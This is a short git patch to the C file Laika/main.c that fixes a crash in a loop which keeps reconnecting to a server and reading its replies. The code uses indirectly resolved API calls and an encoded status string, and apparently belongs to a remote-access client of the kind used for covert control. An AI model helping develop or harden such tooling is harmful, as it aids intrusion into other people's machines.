From 625dcc49815bc79d7582702890686b61ba0ad014 Mon Sep 17 00:00:00 2001 From: ALittlePatate Date: Sat, 21 Jan 2023 12:00:56 +0100 Subject: [PATCH] fix de stack overflow/access violation --- Laika/main.c | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) diff --git a/Laika/main.c b/Laika/main.c index d13446b..336d2f0 100644 --- a/Laika/main.c +++ b/Laika/main.c @@ -168,18 +168,10 @@ retry: //keep communicating with server while (1) { - //Send some data - /* - if (Api.send(sock, "Wjfi~3\xf", strlen("Wjfi~3\xf"), 0) < 0) //Ready.\n - { - //send failed - Sleep_(Sleep_TIME); - goto retry; - } - */ + Api.memset(server_reply, 0, BUFFER_SIZE); //Receive a reply from the server - if (Api.recv(sock, server_reply, BUFFER_SIZE, 0) < 0) //access violation + if (Api.recv(sock, server_reply, BUFFER_SIZE, 0) <= 0) { //recv failed Sleep_(Sleep_TIME);